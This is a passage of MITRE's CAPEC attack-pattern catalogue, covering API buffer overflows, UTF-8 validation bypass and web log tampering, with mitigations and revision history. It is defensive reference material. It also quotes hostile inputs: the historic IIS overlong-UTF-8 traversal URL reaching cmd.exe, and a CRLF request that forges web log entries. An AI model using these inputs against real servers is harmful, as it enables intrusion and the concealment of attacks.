+ 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification44575 + Modification_44575 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow, Indicators, Skills_Required + + + + + + + + + + + + #indModificationModification44581 + Modification_44581 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-8 + Buffer Overflow in an API Call + + + + + + + + + 8 + + + + + Buffer Overflow in an API Call + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An adversary who has knowledge of known vulnerable libraries or shared code can easily target software that makes use of these libraries. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44595 + Related_Attack_Pattern_44595 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep44598 + Attack_Step_44598 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary, with knowledge of vulnerable libraries or shared code modules, identifies a target application or program that makes use of these.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44603 + Attack_Step_44603 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary attempts to use the API, and if they can they send a large amount of data to see if the buffer overflow attack really does work.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Provide large input to a program or application and observe the behavior. If there is a crash, this means that a buffer overflow attack is possible.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44609 + Attack_Step_44609 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] The adversary crafts the content to be injected based on their knowledge of the vulnerability and their desired outcome. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversaries' choosing which points to code injected by the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44616 + Attack_Step_44616 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the API as the injection vector, the adversary injects the crafted overflow content into the buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host exposes an API to the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">One or more API functions exposed by the target host has a buffer overflow vulnerability.</xhtml:div> + + + + + + + + + + + + #indSkillSkill44627 + Skill_44627 + + + + + + + + + + + + + + An adversary can simply overflow a buffer by inserting a long string into an adversary-modifiable injection vector. The result can be a DoS. + + + + + + + + + + + + #indSkillSkill44628 + Skill_44628 + + + + + + + + + + + + + + Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. + + + + + + + + + + + + #indConsequenceConsequence44631 + Consequence_44631 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44635 + Consequence_44635 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44642 + Consequence_44642 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44646 + Consequence_44646 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a language or compiler that performs automatic bounds checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use secure functions not vulnerable to buffer overflow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If you have to use dangerous functions, make sure that you do boundary checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use OS-level preventative functionality. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attack Example: Libc in FreeBSD&lt;/xhtml:b&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A buffer overflow in the FreeBSD utility setlocale (found in the libc module) puts many programs at risk all at once.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Xtlib&lt;/xhtml:b&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A buffer overflow in the Xt library of the X windowing system allows local users to execute commands with root privileges.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 120 + + + + + 119 + + + + + 118 + + + + + 74 + + + + + 20 + + + + + 680 + + + + + 733 + + + + + 697 + + + + + + + + + + + + #indReferenceReference44679 + Reference_44679 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory44681 + Content_History_44681 + + + + + + + + + + + + + + + + #indSubmissionSubmission44682 + Submission_44682 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification44687 + Modification_44687 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification44693 + Modification_44693 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification44699 + Modification_44699 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Skills_Required + + + + + + + + + + + + #indModificationModification44705 + Modification_44705 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-80 + Using UTF-8 Encoding to Bypass Validation Logic + + + + + + + + + 80 + + + + + Using UTF-8 Encoding to Bypass Validation Logic + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44720 + Related_Attack_Pattern_44720 + + + + + + + + + + + + + + 64 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44721 + Related_Attack_Pattern_44721 + + + + + + + + + + + + + + 71 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44722 + Related_Attack_Pattern_44722 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep44725 + Attack_Step_44725 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44733 + Attack_Step_44733 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various UTF-8 encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try to use UTF-8 encoding of content in Scripts in order to bypass validation routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try to use UTF-8 encoding of content in HTML in order to bypass validation routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try to use UTF-8 encoding of content in CSS in order to bypass validation routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application's UTF-8 decoder accepts and interprets illegal UTF-8 characters or non-shortest format of UTF-8 encoding.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Input filtering and validating is not done properly leaving the door open to harmful characters for the target host.</xhtml:div> + + + + + + + + + + + + #indSkillSkill44747 + Skill_44747 + + + + + + + + + + + + + + An attacker can inject different representation of a filtered character in UTF-8 format. + + + + + + + + + + + + #indSkillSkill44748 + Skill_44748 + + + + + + + + + + + + + + An attacker may craft subtle encoding of input data by using the knowledge that they have gathered about the target host. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A web page that contains overly long UTF-8 codes constitute a protocol anomaly, and could be an indication that an attacker is attempting to exploit a vulnerability on the target host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker can use a fuzzer in order to probe for a UTF-8 encoding vulnerability. The fuzzer should generate suspicious network activity noticeable by an intrusion detection system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An IDS filtering network traffic may be able to detect illegal UTF-8 characters.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44756 + Consequence_44756 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44762 + Consequence_44762 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44769 + Consequence_44769 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44773 + Consequence_44773 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Unicode Consortium recognized multiple representations to be a problem and has revised the Unicode Standard to make multiple representations of the same code point with UTF-8 illegal. The UTF-8 Corrigendum lists the newly restricted UTF-8 range (See references). Many current applications may not have been revised to follow this rule. Verify that your application conform to the latest UTF-8 encoding specification. Pay extra attention to the filtering of illegal characters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The exact response required from an UTF-8 decoder on invalid input is not uniformly defined by the standards. In general, there are several ways a UTF-8 decoder might behave in the event of an invalid byte sequence:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;1. Insert a replacement character (e.g. '?', '').&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;2. Ignore the bytes.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;3. Interpret the bytes according to a different character encoding (often the ISO-8859-1 character map).&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;4. Not notice and decode as if the bytes were some similar bit of UTF-8.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;5. Stop decoding and report an error (possibly giving the caller the option to continue).&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;It is possible for a decoder to behave in different ways for different types of invalid input.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;RFC 3629 only requires that UTF-8 decoders must not decode "overlong sequences" (where a character is encoded in more bytes than needed but still adheres to the forms above). The Unicode Standard requires a Unicode-compliant decoder to "...treat any ill-formed code unit sequence as an error condition. This guarantees that it will neither interpret nor emit an ill-formed code unit sequence."&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Overlong forms are one of the most troublesome types of UTF-8 data. The current RFC says they must not be decoded but older specifications for UTF-8 only gave a warning and many simpler decoders will happily decode them. Overlong forms have been used to bypass security validations in high profile products including Microsoft's IIS web server. Therefore, great care must be taken to avoid security issues if validation is performed before conversion from UTF-8, and it is generally much simpler to handle overlong forms before any input validation is done.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;To maintain security in the case of invalid input, there are two options. The first is to decode the UTF-8 before doing any input validation checks. The second is to use a decoder that, in the event of invalid input, returns either an error or text that the application considers to be harmless. Another possibility is to avoid conversion out of UTF-8 altogether but this relies on any other software that the data is passed to safely handling the invalid data.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Another consideration is error recovery. To guarantee correct recovery after corrupt or lost bytes, decoders must be able to recognize the difference between lead and trail bytes, rather than just assuming that bytes will be of the type allowed in their position.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For security reasons, a UTF-8 decoder must not accept UTF-8 sequences that are longer than necessary to encode a character. If you use a parser to decode the UTF-8 encoding, make sure that parser filter the invalid UTF-8 characters (invalid forms or overlong forms).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for overlong UTF-8 sequences starting with malicious pattern. You can also use a UTF-8 decoder stress test to test your UTF-8 parser (See Markus Kuhn's UTF-8 and Unicode FAQ in reference section)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system. Test your decoding process against malicious input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Perhaps the most famous UTF-8 attack was against unpatched Microsoft Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker made a request that looked like this&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;the server didn't correctly handle %c0%af in the URL. What do you think %c0%af means? It's 11000000 10101111 in binary; and if it's broken up using the UTF-8 mapping rules, we get this: 11000000 10101111. Therefore, the character is 00000101111, or 0x2F, the slash (/) character! The %c0%af is an invalid UTF-8 representation of the / character. Such an invalid UTF-8 escape is often referred to as an overlong sequence.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;So when the attacker requested the tainted URL, they accessed&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt;http://servername/scripts/../../winnt/system32/cmd.exe&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In other words, they walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where they could pass commands to the command shell, Cmd.exe.&lt;/xhtml:p&gt;See also: CVE-2000-0884</xhtml:div> + + + + + 173 + + + + + 172 + + + + + 180 + + + + + 181 + + + + + 73 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 692 + + + + + + + + + + + + #indReferenceReference44820 + Reference_44820 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference44821 + Reference_44821 + + + + + + + + + REF-112 + + + + + 5.9. Character Encoding + + + + + + + + + + + + #indReferenceReference44822 + Reference_44822 + + + + + + + + + REF-530 + + + + + Chapter 12 + + + + + + + + + + + + #indReferenceReference44823 + Reference_44823 + + + + + + + + + REF-531 + + + + + + + + + + + + #indReferenceReference44824 + Reference_44824 + + + + + + + + + REF-532 + + + + + UTF-8 + + + + + + + + + + + + #indReferenceReference44825 + Reference_44825 + + + + + + + + + REF-533 + + + + + + + + + + + + #indReferenceReference44826 + Reference_44826 + + + + + + + + + REF-114 + + + + + + + + + + + + #indReferenceReference44827 + Reference_44827 + + + + + + + + + REF-535 + + + + + + + + + + + + #indReferenceReference44828 + Reference_44828 + + + + + + + + + REF-525 + + + + + + + + + + + + #indReferenceReference44829 + Reference_44829 + + + + + + + + + REF-537 + + + + + + + + + + + + #indContentHistoryContentHistory44831 + Content_History_44831 + + + + + + + + + + + + + + + + #indSubmissionSubmission44832 + Submission_44832 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification44837 + Modification_44837 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification44843 + Modification_44843 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow, Mitigations, Skills_Required + + + + + + + + + + + + #indModificationModification44849 + Modification_44849 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification44855 + Modification_44855 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Mitigations + + + + + + + + + + + + #CAPEC-81 + Web Server Logs Tampering + + + + + + + + + 81 + + + + + Web Server Logs Tampering + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44868 + Related_Attack_Pattern_44868 + + + + + + + + + + + + + + 268 + + + + + + + + + + + + #indAttackStepAttackStep44871 + Attack_Step_44871 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Application Web Server Log File Format] The attacker observes the system and looks for indicators of which logging utility is being used by the web server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine logging utility being used by application web server (e.g. log4j), only possible if the application is known by the attacker or if the application returns error messages with logging utility information.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44877 + Attack_Step_44877 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Injectable Content] The attacker launches various logged actions with malicious data to determine what sort of log injection is possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker triggers logged actions with maliciously crafted data as inputs, parameters, arguments, etc.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44883 + Attack_Step_44883 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate Log Files] The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted request that the web server will receive and write into the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Indirectly through injection, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example: The HTTP request for "/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] "GET /forged-path HTTP/1.1" 200 - "-" USER_AGENT" may add the log line into Apache "access_log" (for example). Different applications may require different encodings of the carriage return and line feed characters.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Directly through log file or database manipulation, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example: The HTTP request for "/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] "GET /forged-path HTTP/1.1" 200 - "-" USER_AGENT" may add the log line into Apache "access_log" (for example). Different applications may require different encodings of the carriage return and line feed characters.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Directly through log file or database manipulation, modify existing log entries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target server software must be a HTTP server that performs web logging.</xhtml:div> + + + + + + + + + + + + #indSkillSkill44902 + Skill_44902 + + + + + + + + + + + + + + To input faked entries into Web logs + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to send specially formatted HTTP request to web server</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44908 + Consequence_44908 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use input validation before writing to web log</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Validate all log data before it is output</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Most web servers have a public interface, even if the majority of the site is password protected, there is usually at least a login site and brochureware that is publicly available. HTTP requests to the site are also generally logged to a Web log. From an attacker point of view, standard HTTP requests containing a malicious payload can be sent to the public website (with no other access required), when those requests appear in the log (such as http://victimsite/index.html?&lt; malicious script&gt; if they are followed by an administrator this may be sufficient to probe the administrator's host or local network.</xhtml:div> + + + + + 117 + + + + + 93 + + + + + 75 + + + + + 221 + + + + + 96 + + + + + 20 + + + + + 150 + + + + + 276 + + + + + 279 + + + + + 116 + + + + + + + + + + + + #indReferenceReference44933 + Reference_44933 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory44935 + Content_History_44935 + + + + + + + + + + + + + + + + #indSubmissionSubmission44936 + Submission_44936 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification44941 + Modification_44941 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification44947 + Modification_44947 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification44953 + Modification_44953 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated @Name + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName44959 + Previous_Entry_Name_44959 + + + + + + + + + 2022-09-29 + + + + + Web Logs Tampering + + + + + + + + + + + + #CAPEC-82 + DEPRECATED: Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS)) + + + + + + + + + 82 + + + + + DEPRECATED: Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS)) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads, CAPEC-231: XML Oversized Payloads, and CAPEC-147: XML Ping of Death. Please refer to these CAPECs going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory44967 + Content_History_44967 + + + + + + + + + + + + + + + + #indSubmissionSubmission44968 + Submission_44968 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification44973 + Modification_44973 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indModificationModification44979 + Modification_44979 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Name, @Status, Consequences, Description, Example_Instances, Likelihood_Of_Attack, Mitigations, Prerequisites, Related_Weaknesses, Skills_Required, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName44985 + Previous_Entry_Name_44985 + + + + + + + + + 2019-09-30 + + + + + Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS)) + + + + + + + + + + + + #CAPEC-83 + XPath Injection + + + + + + + + + 83 